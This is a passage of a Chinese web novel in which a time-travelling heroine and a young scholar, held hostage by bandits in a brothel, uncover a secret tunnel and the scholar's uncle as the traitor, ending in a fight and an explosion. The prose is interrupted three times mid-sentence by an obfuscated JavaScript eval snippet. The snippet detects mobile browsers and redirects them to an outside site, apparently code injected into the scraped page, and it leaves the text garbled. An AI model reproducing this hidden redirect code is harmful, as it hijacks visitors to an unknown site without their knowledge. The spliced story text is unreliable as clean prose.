“我问你个问题,”我顾不得解释,焦急问道,“你说你二叔流连青楼,他是固定常来这家江瑟楼,长期住着不回家吗?” 周达尹惊异挑眉:“你怎么知道?” 这就对了。周二叔果然是土匪的目标,为此不惜大张旗鼓占据一座青楼。只是…… “马家寨寨主,有什么过人之处吗?” “啊?”周达尹又懵了。 我很不解。绿林义气没错,热血上头不假。但今天这局势,绝非一时激愤操刀而为之。从纷乱发生到我刚才出去,不出半个时辰,堡垒已经搭好,严密、谨慎。这明显是事先有筹划、有踩点、有探查。 要知道御青王的名号并非浪得虚名,祖上如何英勇不论,单说三殿下本人,年纪轻轻也战绩了得。而京城防守之严,在我穿越来已数次见识过,按理说不该有如此大的疏漏。 最重要的是,为了救寨主,真的值得冒如此大的风险?难道这寨主像唐宗宋祖,手下人趋之若鹜,自己命不要也得保他存活? 这么多人,上下齐心,也许暗暗准备了一两个月,都毫无退缩?这还是贪生怕死、乌合之众组成的土匪之流吗?既有这种本事与决心,何不趁夜深入监牢伺机劫狱呢?仅仅为了救出寨主,未免动静太大了吧? 结合方才所见所闻,久在深山,近期更是躲躲藏藏的土匪,面对女色最终还是控制住了欲望,将女子都赶走。一层富户除了被杀的几个,其他的似乎也没有被关押,说明土匪深知江瑟楼的客户排布,只留下价值高的,还能节约看守人手。 目标明确、行动迅速,若说仅仅靠他们自己谋划,我绝不信。 周达尹渐渐听懂了我的话,惊得站了起来:“什么意思?你怀疑有内奸?” 我郑重点头:“因为楼下,到处都是火药。” 50.蒙汗药 硫磺、桐油组成的黑球,谨慎的搬运,还有大厅中处处堆着的木柴。每个迹象都说明,土匪在一楼排满了火药。 “这……他们疯了吧!” 是啊,疯了吧?在官兵围剿的情况下,火药一炸,土匪就不怕同归于尽?费心思闯京城、占青楼、救寨主,难道就是为了壮士一去不归返? “不可能,绿林好汉也不是这种好汉法。”周达尹脸色沉下来。 那么,就是我想的了——密道。 方才一路走来见到的土匪都很镇定,丝毫没有大难临头的恐慌,必定是因知晓自己能够全身而退。也即,这江瑟楼里必有能够逃出生天的密道。 “你的意思是,咱们摸到密道逃跑?” 我摇了摇头:“生死大事,土匪不会马虎,密道口必然有严密把守,凭你我绝不可能接近逃走。只是,我不明白,土匪怎么可能知道这江瑟楼里有密道?密道,又通向哪里?” “是啊。”周达尹听我这么一说,眉头也皱了起来,“我听说,江瑟楼作为京城数一数二的风流之地,每日人满为患。土匪就算事先潜入,想要不被察觉找到密道也很难啊。” 不,还不止这么简单。 如果说,这里有条密道,但是不知道在哪,土匪可以事先派人进来悄悄搜索。但问题是,江瑟楼,这座外表和街上其他二层建筑并无异常的建筑,怎么就被土匪获悉,内有乾坤呢? “啊,我明白了,所以你说有内奸?” “唯有如此能解释的通。今天我来的时候,老鸨明确说了,江瑟楼已经辉煌了十年。那么,这日日夜夜人来人往的地方,土匪怎么知道有密道?除非,有人知晓内情,并提前通报。” 难道是常来这儿的客人?十年前参与修建的工匠?青楼某个姑娘? “十年……”周达尹咬唇思索道,“江瑟楼都开张十年了啊?也对,好像就是十年前,官府整治这自护国战争后就一直荒废下来的五魏街,引商户入内,才慢慢热闹起来。” 诶?十年前,周达尹应该还是少年啊,怎么这么清楚? 周达尹脸一红:“我从没来过!” 看他这古板周正的长相就知道是个教养森严的纯情少年了。 “我并非质疑公子。我只是在想,公子所说的这些情况是不是人尽皆知?密道一事,其实并不隐秘?” 周达尹松了口气,脸庞仍旧泛着红:“那倒未必。五魏街的确历史久远,前朝曾有花鸟市场,极为热闹。但是荒废后一直少有人烟,直到十年前官府重修。这些旧事,都是我二叔告诉我的。别看我二叔有些不正经,他可是专攻城池脉络的博士呢!” 翰林院博士?呦,可真看不出来,原来周二叔也曾进士及第,还入了翰林院啊。那好好一同志,怎么就沦落了呢? 不过这么说,密道一事并非坊间皆知。 “周二叔可曾说过,这里有密道?或者不一般的地方?” “没……应该没有吧,我不记得他说过。”周达尹在记忆中苦苦思索,“江瑟楼是烟花之地,家中一向不允谈论。就刚才那点信息还是听二叔讲五魏街时提到的。” “哦,对了,刚才我还留意到,土匪持着的刀柄上刻着一个‘青’字,这是不是代表着,是官造武器?” 周达尹大惊:“天哪,官造!他们怎么可能……” 话音未落,屋门猛地被踹开,两个土匪端着一个餐盘走了进来。雷公嘴又开始猥琐的上下打量我。周达尹露出厌恶的表情,闪身挡在了我身前。 雷公嘴也没恼火,不屑的哼一声,撂下饭菜就走了。 另一个小喽啰用手剔着他的大黄牙:“都给老子吃饭,少在这玩绝食,谁要是不吃,老子亲自喂他吃!” 说罢,他也走了出去,与站在门口的雷公嘴交谈曰:“哥,咱先下去吃饭,外面情势紧张,咱等会上来再检查他俩。” 雷公嘴点头,又回头朝我比了比威胁的手指,将门锁了起来。 外面情势紧张? 我坐立难安,手臂抽抽着疼,失血过多已经让我眼前出现麻点了。哪里有胃口吃饭? “王小姐,你的脸色很不好。”周达尹觑我一眼,将菜推了过来,“还是吃一点吧。要等到三殿下和谢府丞来救我们,需要体力啊。” 香菇鸡丝正散发着浓郁的菌菇味,闻得人想吐。 我知道他说的对,只能勉力自己握住筷子,但刚刚伸出,周达尹忽然变了面色,他靠近嗅了又嗅:“等一下,等一下。别吃!里面好像有蒙汗药!” 我筷子直接吓掉了。 传说中的蒙汗药?古装戏必备之十大物件呐! 怪不得那俩小喽啰还要检查我们吃饭情况,原来是想把我们药倒。可我们作为人质已经被关押,为何要多此一举? 但不管怎么说,处理掉饭菜才是当务之急。 周达尹接收到我的眼神,忙快步走到大床屏风后面的厕桶旁,将饭菜一股脑倒了进去。随后我二人便趴在桌子上装晕。 不到一盏茶功夫,大黄牙和雷公嘴又推门进来了,见到这一幕,立即嘲讽,说什么王公贵族上等人都是傻子之类的话。二人走出门后,又朝着西边扬了扬下巴,挥了挥手。一阵拖沓的脚步声陆续响起。 似乎是确认了所有人质都被药倒,二人竟连我们的房门都没锁。 哦?谁是傻子? 我当即蹲下身悄步挪到门边小缝观望。 江瑟楼外火光通亮,双方还在对峙。大厅传来阵阵杯碟碰撞、喝酒划拳的声音。到底是土匪,刚还夸他们有点子纪律,这会儿就暴露出来了吧。 环顾一圈二楼,看守都不见了,看来都下去吃饭了。借着栏杆和走廊桌子的遮挡,我看不清一层有多少人,不过这样的话,他们是不是也看不清二楼的动静? “王小姐,你不会是想出去吧?”周达尹看出了我的蠢蠢欲动。 我点点头:“坐以待毙,不如探查探查?” 周达尹也没反对:“行,我也想知道二叔是否安全。” 打定了主意,我二人便猫腰钻出了房门。一路上走的憋屈,只敢蹲身贴着墙慢慢挪步,直到西边那四间关着门的雅间。靠近一瞧,果然也没上锁。 周达尹趴到二楼栏杆处盯着,朝我点头。我抓住时机,起身就着门缝偷窥,二层那些公子哥们,正东倒西歪昏在地上。 周达尹确认楼下无人注意,也猫过来看看,又先我一步去后两个雅间查看。很快就转回来,焦急道:“一共十八个人质,都被药倒了。我怎么没看到我二叔,不会是被害了吧?” “不会吧,你看清了吗?” “看清了,连……”周达尹脸微微一红,“嗯,床上那个男子,我都看到了,就在最后那间房里。却偏偏没有我二叔。” 我赶忙安慰:“也许被关押在别处了,你先别担心。” 话是这么说,但我们俩都默契的加快了脚步。其余房门没有关住,未点灯的包间内昏暗无比。周达尹一路探看,失望越甚。 “二叔,二叔……” 周达尹的担忧溢于言表,我却注意到较刚才所见,现在二层最东边的一间屋子门也关上了,门上有锁。 难道周二叔被单独关在了那里? 但我们上前一瞧,发觉锁头只是挂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478399|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并未锁上。我环顾着楼下,周达尹小心翼翼的拿掉锁头,悄无声息把门打开一条缝,探了脑袋瞧去:“里面,里面没人啊?二叔到底在哪啊?” 我握了握他的胳膊,止住他关门的动作,低声道:“前面的屋子都大开着门,这间屋子却挂着锁,进去看看。” 周达尹有些犹豫。 “刚才灯光昏暗,也许你看漏了,你若是焦急,不如再去检查一下。我进这个屋子看看。” 周达尹摇摇头:“算了,抓紧时间,他们吃完饭就要上来了,先瞧这里吧。” 我点点头,当先猫进了昏暗的雅间。周达尹将门关至一条缝,借光摸索到烛台边,掏出一个火折子轻轻一抽,微弱的火光亮起,黑暗褪去了迷蒙。 周达尹点了一支蜡递给我,示意我拿低些,免得被发现。他自己则用另一只手遮着光,向左边摸了过去。 我来到屋中右侧,梳妆台上有一些用过的胭脂水粉。里间的大床冷冰冰的,被子叠的很整齐。看来刚才没有人在此睡过。 这边毫无线索,我压低声音问道:“你有发现吗?” 没有回应。 周达尹的背影在微弱的火光中看不分明,隐隐一个轮廓显得有些诡异。 我心里泛起了嘀咕,胳膊又开始疼了。 僵持也不是个办法,我只好默念着唯物主义、科学发展观的价值理念,硬着头皮朝周达尹的背影走去。鸡皮疙瘩要掉一地之际,我终于看清,周达尹呆在圆桌前,手里拿着一张纸,满脸写着讶异。 我心中一宽,抹掉额头的冷汗。一边朝纸张看过去,竟是一副平面图。莹黄的微弱火光照在惨白的图纸上,上面字迹分明。 周达尹的手有轻微的抖动,搞得我都看不清上面的小字。 “你怎么了,这是什么?” 即便光线昏黄至此,我也能看出,周达尹的脸色不太好。我试探着从他手中将图纸抽出,他并未阻拦。细细一瞧,图纸上方写着“江瑟楼”三个字,图画所绘,正是一楼大厅。 这是江瑟楼的平面图啊! 图画的很草,但还算清楚,很容易看懂。我顺着门房浏览到大厅,又集中到角落的厨房里。 绘着厨房的小方块旁写了灶台两个字,灶台字迹下方则有一条细细的线,延伸到平面图边。一排小字标注着,我心头大骇—— “一楼平图,暗道于厨房灶台下起始,非最后关头不得打开,巨声惹疑。” 果然有密道! 我压下心头激荡:“还有没有其他发现?” 周达尹却只是蹙眉不语,脸色很沉。 他是怎么了?我刚想开口再问问他,忽然一声巨响传来,吓得我差点跪地上。 周达尹更是如梦惊醒,猛然回过神来,立时护我蹲下,一口吹灭了我俩手上的蜡烛。 大厅的叫嚷声依旧高昂,在彼此狂跳的心跳声中,我俩才渐渐平静下来。看样子是土匪喝酒错手掉了杯子。吓死人了。 我松口气,可惜蜡烛已经灭了。周达尹握着我的手很用力,疼痛都快赶上我受伤的胳膊了。 “周公子,你怎么了?”我忍不住用手推他。 周达尹有些恍惚,几秒钟后,他急忙松开我的手,连连道歉:“对不起,对不起,唐突了姑娘。你没事吧?” 我揉揉自己的手:“没事,但是你怎么了?” 周达尹沉默了片刻,迟疑着说道:“我……这字迹,我认识……” 有一种预感在蔓延。 “你认识这字迹?平面图上的字迹?” 黑暗中,周达尹的声音很低落:“是我二叔的字迹。” 51.答案 这个答案我并不意外。 周二叔最爱来的江瑟楼,偏巧就有密道,他自己又是研究这行的大拿。明明亦是在二层消费的世家显贵,却未被统一关押。土匪对京城一切的了解、如此迅猛的行动、持有的官造武器……诸多巧合叠加,并不难猜。 只是,为什么? 周达尹声音低沉,却强自解释着:“不会,不会的。可、可能是二叔以前做研究的时候,画过这里的图纸,然后被歹人偷走。对,一定是这样。二叔,二叔不可能……” 做研究,又怎么会写下“非最后关头不得打开,巨声惹疑”? 刑部尚书之子,曾任翰林院博士,为什么要自毁前程,和土匪勾结绑架人质?周二叔借土匪之手,到底谋求的是什么? 周达尹以沉默回应了我的问题。 就在此时,楼下传来哗啦啦的声音,似乎是吃完饭陆续在离席。周达尹反应迅速,抄起图纸铺在桌子上,拉着我猫出屋子,还不忘将锁恢复原样,刚回到南边走廊,顺着栏杆就看见大黄牙和雷公嘴在边剔牙边踏上楼梯。 我和周达尹吓得都顾不得掩盖身形了,几乎是逃命般的钻进了我们的包间。刚刚趴下假装晕倒,推门声便传来了。 “呦,哥,你看。”大黄牙嘬口牙,“我早说了吧,二当家的还不放心。真是,这可是山西云家的蒙汗药呀,一点就能药倒一头猪,何况咱们菜里下了半瓶呢!” 雷公嘴吧唧吧唧:“嘁,还不是那什么神秘人给二当家的出谋划策,说就算下了药,为以防万一,一定还得不时来检查检查,晚上也不能离开守卫。哼,大晚上的还得咱哥俩守着,真他娘烦人。外面情势那么紧张,还在这儿耗着,妈/的,真扫兴。” 大黄牙附和:“就是。京城的人就是他娘的想太多,有什么万一万一的。你看咱们这一票干的多顺利,哪有半点麻烦?他之前给二当家的锦囊里不是列了好多条遇到的麻烦和怎么解决吗?不都没发生吗?还真把自己当军师了。” 雷公嘴不屑一笑:“诸葛孔明早死,还不是想太多。” “呦,哥还知道诸葛孔明呢?” “滚犊子!”雷公嘴骂道,“老子才不听那一套。你忘了之前逮的那书生?一把年纪了还跟个朽木一样,大道理一大堆,烦都烦死了。最后还不是被咱……哈哈哈。” 两个人不知道压低声音说了什么,笑的那叫个淫邪。 我微微眯着眼睛偷看,余光却扫到周达尹放在膝盖上的拳头紧握起来。 胳膊又开始疼,不妙的预感闪烁在脑海中。 雷公嘴终于笑累了:“行了,这俩死人是醒不过来的。咱哥俩还是去外面守着。这么长时间也没有消息传过来,看样子大当家的果然死了。” 寨主死了? 大黄牙打了个哈欠:“太好了,真是顺利!这下官府没得玩了!” 雷公嘴忽然面容一肃:“他娘的这可是大事,咱得帮着好好守着,免得官兵攻进来。走,咱下去外面守着!” 大黄牙同意,忙跟着走了出去。但房门没有关上,他又扭了回来。 这可把我吓够呛,还以为他发现我偷看了。憋住一口气,心跳剧烈,却也不敢发出一点动静。 闭眼心惊中,感受到他的脚步停在了我的身后,随后,一个东西戳了戳我的背,从力量和味道上判断,大概他用的是脚。 我在心里暗骂两句。 片刻后,脚步声再次响起。门重重关上,雷公嘴的吆喝声传来,似乎在叫二楼的兄弟们都下去帮忙守着外面。只听应和声混合着脚步声,稀稀拉拉靠近,从乱糟糟到慢慢消失。 侧耳倾听中,我也渐渐想明白了蒙汗药的用途。 土匪人虽多,但是官兵数量庞大,硬拼起来绝不是对手。人质清醒着,就得留人看守;全部迷晕,才可以放心的守着外面,和官兵对峙。出来的土匪越多,官兵越摸不清里面情况,越不敢轻举妄动。饶是有弓箭手,也会忌惮。 周达尹也慢慢坐直了身子,表情颓败。 “我不相信,我不相信。”他喃喃着,“我要再去检查一下,一定不会是我二叔!” 说罢,不等我抓住他的衣袖,竟然起身打开门就出去了。 我吓死了,脱口低叫:“喂!你疯了!” 但周达尹已经迷失在痛苦中,丝毫听不到我的呼唤。我也顾不上疼痛与饥饿,忙跟上去。 二层守卫皆无,准确说来,江瑟楼此刻压根就没有看守。大门洞开,通亮的火光照耀下,映出外面人挤人站着的身影。看来为了生计大事,土匪都在外面严阵以待,没有人来看守我们这群被迷倒的人质了。 这样于我们而言自然也是便利。你瞧那周达尹,已经无心弯腰躲藏,朝着西边大步生风,急急迈去,我一阵小跑才来得及跟上。 他推开每一扇门,回过眼眸时都写着失望,当他从西边最后一间屋子里探出来时,扶着墙刚往回走几步,整个人一抽,便软软滑倒在栏杆边。 我冲上前扶起周达尹,将他拖到就近的一个空屋子,躲在角落里。 “还是不见周二叔的踪影?” 周达尹眼圈通红,开口已是哽咽。“二叔、二叔这次采风结束,还没回到京城,就被马家寨劫走,虐待了十数日,才逃出来。” “什么?他被马家寨劫走过?” 周达尹痛苦的闭上眼。“他逃回来后,我们便报了官。二叔却不肯回答府衙的问题,只知道日日去喝花酒。我们都以为二叔身心受创,这才逃避回想当时的场景。加上二叔是从山上滚下来,受了很多伤,被路人救起才能逃出生天,想不起马家寨的位置,也没有什么奇怪。可是、可是二叔居然是马家寨的内应?这怎么可能……” 猛然间,我想到二当家的嘲讽的那句“还是读书人的德行”,果然,他们之前有交集!看来大黄牙和雷公嘴的对话中,那古板教条的中年书生也是周二叔。 可周二叔为什么会与他们勾结?受伤严重,不应该是充满恨意的吗? 几个画面闪烁在我眼前。 周二叔听到土匪自爆身份时的惨白脸色,他强撑着护住我们时的勇敢,土匪明明与他有过交集却装作不识…… 伪装,竟然从头到尾都在伪装。 “小时候,我最喜欢的就是二叔。父亲忙,教我读书、写字的也是二叔。可从马家寨回来后,二叔就像变了个人似的,每次我和他说话,都不理不睬。我知道,我上科中了状元,二叔处境更难。原来、原来二叔竟然真的恨我们……” 周达尹竟然是科举状元?不过我更加奇怪的是他最后一句话:“什么叫恨你们?” 周达尹脸上是扭曲的苦楚:“二叔、二叔恨我们周家。” “为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493539|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “二叔是庶室所生,一向不被祖父重视。父亲病亡后,二叔成了祖父唯一的儿子,但祖父并未因此施以青眼。他在翰林院得不到升迁,混了多年都只是博士。祖父居于二品,也不肯为他说上几句好话。别的博士年派的采风都是去鱼米之乡,富庶、安稳。唯有二叔,总是被派去偏远的不毛之地。要不是这次派他出去,二叔也不会被土匪……”压抑的悲戚自周达尹喉咙间溢出,他摇着头仍旧不愿相信。 出身不好,嫡庶分明;事业平平,无甚起色;侄子如此优秀,竟还得到了状元之冠,只怕祖父为孙子骄傲,更不把这个不争气的庶子放在眼里。 周二叔难怪要心理失衡了。 我叹了口气:“怪不得土匪会选中这个时机动手了。” 周达尹通红眼圈看过来:“什么意思?” “你为什么今天会来找你二叔?”我不答反问。 周达尹茫然:“啊?” 我只好说的明白些:“你不是说,周老太爷身子一向不大好吗?那么,今天为什么突然严重,以致你焦急来寻二叔?是不是你二叔刺激他了?” “你怎么知道?”周达尹诧异挑眉,“二叔流连青楼终日不归家,昨晚竟破天荒回来了。祖父将他叫到书房说话,却吵得不可开交,二叔摔门就走了。今早祖父起来又是吐血又是昏迷的,直到午后还不见好转,所以……” 所以案发就在今天了。 “周公子,你二叔真是好谋划。这分明是有意引你前来,致你于死地啊。” “不、不可……”周达尹难以置信的冲我摇头,可是没摇两下,就如同泄了气的皮球一样,蔫了下去。 “周公子,再请教你,周老太爷既是刑部尚书,身子骨又不好,那么,你二叔是否也曾出入刑部,时有替他跑腿?” “是啊,这你怎么也知道?”周达尹睁大了眼。 我深吸口气,情势已经明朗。 周二叔因为心理失衡对周家生恨,偏巧他又被马家寨劫走,发生了某种变故,让他即便被土匪虐待,却依然选择勾结他们来报复自己的家人。昨天他回府,就是为了气倒周老太爷,故意引侄子今天来江瑟楼。侄子一进来,行动立刻开始,他马上指证侄子的身份,自己则假装被拖走,实则在外掌控局势。 雷公嘴所言寨主已死,何来的消息? 想来,这便是周二叔环环相扣的谋划了。作为刑部尚书之子,找借口进入刑部监牢,无声无息弄死寨主,应当不难。二当家的则挟持人质,要求赎回寨主,官兵自然无法达成。那么,土匪就能顺理成章的要到天文数字的赎金。 炸药的出现,更说明了此局的歹毒。江瑟楼被炸毁,他带着钱财从密道逃走,无数人质遭殃,谁能分得清尸体是谁?而那讨人厌的侄子,自然也和这江瑟楼一起,彻底埋没在尘嚣中。 亲人的背叛与阴谋,令周达尹几乎崩溃。无法顺畅的呼吸、捏拳捏到泛青的骨节、抽搐的太阳穴,无不彰显着他心中的波澜。 我亦痛惜,略拍拍周达尹的肩膀,正要开口安慰。忽然听到头顶传来一些轻微的动静。我和周达尹周身一震,当即捂着嘴猫下身子躲藏在黑暗中。 窸窸窣窣的声音靠近,我二人偷窥着,就见一个同样猫着腰的男子从我们躲藏的门前闪过,朝着西边四间厢房快速挪动。 那是…… 52.破局 我心头一宽,忙站起身,却不慎碰到手臂,痛的呲牙咧嘴。 那人听到动静回头循声望来。 周达尹也爬起来,激动的小声喃喃:“三殿下,是三殿下!” 许是为了减少动静,三殿下未着铠甲,但他警惕的四处观望与拔刀动作,还是带给我们强烈的安全感。 周达尹扶住我,疾步朝走廊奔去。 三殿下惊喜的蹲身靠近,将我拉住上上下下的瞅:“你怎么样,你没事吧?啊,你的胳膊……” 被他一提,痛感更甚,但心安了不少。我忙问道:“殿下你怎么进来的?” 三殿下没有回答,而是又瞧周达尹,确认他也安全后,又问:“金宝鸯呢?” 我呼吸一滞,竟不知该如何回答。 “她,她……她死、死了。”不过三个字,却如鲠在喉,难说完整。 周达尹险些蹲不住:“什么?金小姐死了!” 三殿下脸色变了,拳头捏的咔咔响,青筋乍起。 沉默中,周达尹忽然又叫了一声:“啊,那是……二叔?” 旁边一间大开着门的屋子,一颗脑袋自黑暗中冒出。那人也蹲着身子,四下观望着。好在我们躲藏的地方有一个八角柜遮挡住了他的视线。 周二叔微胖的脸庞朝着四下观望了许久,方才慢慢缩了回去。 这一排雅间全部开着门,任何人都会自然而然去搜索那四间关着门的屋子,根本不会想到他就藏在某个开着门的屋子中的黑暗中。 我的冷汗一茬一茬冒了出来,因为我意识到,方才我和周达尹的动作恐怕已全被他看在眼里。 这时,头顶上又传来一阵窸窸窣窣的声音,竟是几个官兵挂着吊绳从顶下慢慢垂下。 江瑟楼虽然装修豪华,但是仍旧无法脱离古代建筑材料的限制,房顶都是用瓦片铺成,只在瓦片下面铺了毛毡和一层薄薄的泥浆。这会被官兵用刀子耐心切割,自然就挖了一个个洞出来。我看到最东边的角落里明显的圆洞痕迹,显然就是三殿下刚钻进来的地方。 身手矫健的官兵悄无声息的跳落到二层,朝着我们的方向快速猫来。 但周二叔的脑袋又从黑暗中露了出来,一个官兵落下的地方正巧是西边角落,被周二叔看个正着。 周二叔当即伸出手。 三殿下反应超快,起身大跨步一个前滚翻,迅速朝前无声疾奔,眼看就要捂上周二叔的嘴,我身后却突然传来“砰”的一声。 我回头一看,周达尹一脸震惊的望着地上碎裂的花瓶,吓得脸色惨白:“我、我不是故意的……” 我暗道不好。果然,巨大的碎裂声立刻引起了外面土匪的注意,长辫男率先冲进来,二层的我们根本没有时间躲藏,全部暴露在土匪眼中。 “有官兵,兄弟们操家伙!”随着他一声嚎,马上就有更多的土匪冲进来。 “躲好!”三殿下冲我大吼一句,双手攀上栏杆,一个跃步横跨,从二楼纵身一跃,稳健的落在一楼大厅地上,墩身起跳,拔出随身佩剑,一挥便砍倒最前面两个土匪。 如同战神一般,三殿下遇佛杀佛遇神杀神,我亲眼看到大黄牙被他一剑穿喉。但源源不断的土匪冲进来,将他团团围住,刀剑砍在一起的声音刺的耳膜生疼。那雷公嘴竟然身手还不错,几个来回打的有来有往,两个人很快都挂了彩。 门外更多土匪冲进来,独眼龙带人朝二楼冲来。已吊下来的官兵操刀迎上开始厮杀。 头顶的圆洞割开了一个又一个,官兵正加速跳落加入战局。 一时间,打斗声、叫骂声此起彼伏,战况进入胶着。有人被白刃捅胸,有人被抹脖子踢开,有人被从背心穿透,有人七窍流血而亡。 我哪见过这场面啊,吓得浑身颤抖。手无缚鸡之力的书生周达尹更是满脸惨白,被自己闯下的大祸吓得不敢动弹。 突然,一个土匪的袭击被官兵挑开,其手上长刀飞出,我眼睁睁看着它失控朝我戳来,锋利的刀尖迎着我的面孔,我却僵硬的失了全部的反应。 “躲开!”周达尹吼一嗓子朝我扑来。 重压下的疼痛席卷全身,刀剑相搏的刺耳声音却一点没减少。 “你怎么样?”周达尹爬起来高喊,鲜血从他的脖颈处滑下。 我忍住剧痛,心头骇然:“你的脖子!天哪!” 周达尹伸手摸摸,痛的皱起了眉:“划伤,只是划伤。你快、快躲进那角落里!千万别冒头!” 我被他连拖带拽塞进八角柜旁的角落,那柄断刀泛着铁锈的破刃险些划破我的脚。疼痛已被满心满肺的恐惧所取代,我用双手捂住脑袋,躲在桃花源中自欺欺人。 可鲜血很快流满了走廊,朝我脚下袭来。我终是控制不住,惊恐的大叫起来。猛然间,一个人如同破烂的布娃娃被甩了过来,圆睁的眼、稀烂的脖颈、污糟的衣襟。 这是,这是雷公嘴? 没有语言能形容我的畏惧,比汪洋中的一叶扁舟更不可控制,只觉随时会被浪涛卷入万劫不复。 但我没想到,可怖至此,竟还未到上限。 就在我浑身僵硬、五感快要俱失时,我的肩膀忽然搭上了一只手。只听耳边传来一个细细的声音:“终于找到你们了。” 扁舟翻入冰冷的大海,心跳险些停了。 如同慢动作一般,我僵着脑袋缓缓扭头,周二叔竟然已在我身边,正面对着我。他的脸正巧落在阴影里,看不到表情。 “啊啊啊啊啊!”完全出于本能,我从嗓子眼冒出尖利的叫声,整个人剧烈抖了起来。 周达尹本来站在柜子侧面,无助的举着那柄短刀,双脚没有章法的挪动着,勉强算是戒备。听我尖叫更甚,他转头看见来人,登时脸色大变。他冲上来一把推开我,就朝着周二叔扑过去。 “你干什……” “二叔,你混蛋!” 我像是被人用钉子将脚钉在了地板上,整个人僵硬木讷。直到周达尹用自身的力量压住周二叔,扭头朝我拼命喊道:“快跑,快跑啊!” 天哪,我在干什么? 彷佛有人朝我脸上打了一拳,大脑终于清醒,我立马转过身子抬脚欲跑。 谁知我才刚刚迈步,后颈部却猛然感到一阵剧痛,眼前登时一黑。四肢无力,我趴倒在地,胳膊遭遇重击,痛的我几乎蜷缩。与此同时,额头亦传来一阵刺痛,有热乎乎的东西顺着额头流下来,染红了我的睫毛。 血,血,又流血了! “啊啊啊啊啊!”我疯狂地尖叫起来。 但我的叫声很快便埋没在一声巨响中。 巨响来自大厅东侧,震天响起。我被一股强大的气流推向墙壁,整个人狠狠撞了上去。如同直视太阳般刺眼的亮光即刻闪了起来,连带着不断有爆炸声起,浓烟当即扑了上来。 天哪!哪个该死的引燃了火药! 我被撞的脑袋发懵,七荤八素,浑身都疼,可最疼的还是被震的嗡嗡直响的耳朵。我伸手一摸,耳垂外已经流出了血。 来不及惊恐尖叫,弥漫着的浓烟堵住了我的呼吸,呛得我不断咳嗽。 完全是出于求生欲望,我强迫自己挣扎着爬起来,一扭身却看到周二叔朝着周达尹挥舞左拳,后者的脸上已经有伤。 又气又恨的周达尹顺手抄了旁边一个花瓶就猛的扔过去,然而周二叔闪身一躲,花瓶“哐啷”一声砸碎在地上,却完全没有波及到他。 江瑟楼外的堡垒也被冲破,无数的官兵喊打喊杀冲进来,和大厅里的土匪叮铃桄榔的刀剑斗争。不断的爆炸声和木头烧起来的声音交替回响。伴随着各种闪电般的火光与愈加浓厚的烟雾,将江瑟楼湮没。 糟了,这种强度的轮番爆炸,这楼得塌! 我挣扎着站起身子靠在墙上,发现官兵和土匪厮打,一楼二楼到处都是耸动的人影,但前方的楼梯上却没人,难道我趁此机会跑下去? 我惊恐的四下展望,却发现人质被关的最后四间房却仍旧闭着门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503202|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>竟然还没有人去救人质。 人质还在昏睡!天哪,再这样耗下去,不被炸塌的楼砸死,也会被烟呛死。 我焦急的望一圈,却发现没有人能腾出手来。三殿下正在被长辫男带领的几个喽啰围攻着。周达尹和周二叔还在你一拳我一脚的笨拙的互殴着。 不行,独自逃跑,我做不到。 我跺了跺脚,暗骂自己该死的道德感。然,终究,我也只能压下疼痛到恶心想吐的冲动,强逼着自己死死贴在墙边朝西边挪动,以避过重重厮打的对手。好在二楼没有□□,要不然我铁定跑不过去。 我用尽全力跑到西厢,腿肚子都在抽筋。推开第一间房门,我对着每个躺在地上仍旧昏睡的男子猛踹两脚,昏迷的人质这才慢慢醒过来,当即猛咳起来。 我大吼一声“跑!”,立刻转身朝第二间房奔过去,依样画着葫芦。 情势越来越严重,浓烟迷雾已经让我咳嗽的不停,等我踹开第三间房门,都看不清有几个人了。我只能模模糊糊的对着就近的裸身男子猛的一踹,大声吼着:“着火了!起来!” 正准备再往里冲,手臂猛地一疼,周达尹一把将我拉回怀里,大喊:“来不及了,快跑!”说罢他转身拉着我就朝楼梯跑去。 这时,醒来的人质也惊慌失措的逃窜着。那个姓夏的随便裹着件袍子,跑得飞快,越过我的时候还险些把我撞飞。 我气的骂街! 到楼梯跟前,透过烟雾看到底部已经泛起火光,四处都是火苗子。可这江瑟楼二层修的很高,没点身法跳下去摔不死也得残,不通过楼梯我们根本逃不出去。 又有三两个人质超过我们毫不犹豫地奔了下去,楼梯被大力踏着,竟然出现了晃动。糟了,它要撑不住了! 周达尹回头朝我点头,握着我的手加紧了力道。我也死死扣着他的手,鼓足勇气,一起朝楼梯跑下去,脚底处处都是火光,我们的衣裙下摆都被火燎着。 但没有办法,这是唯一的生机了。 恐惧感战胜了疼痛,我们无暇顾及被烧到的衣摆、袖口,只能大步朝着楼梯下踏跑去。眼看就要下到一层,底层却忽然断裂,我俩毫无防备,猛地一坠,重重摔了下去。 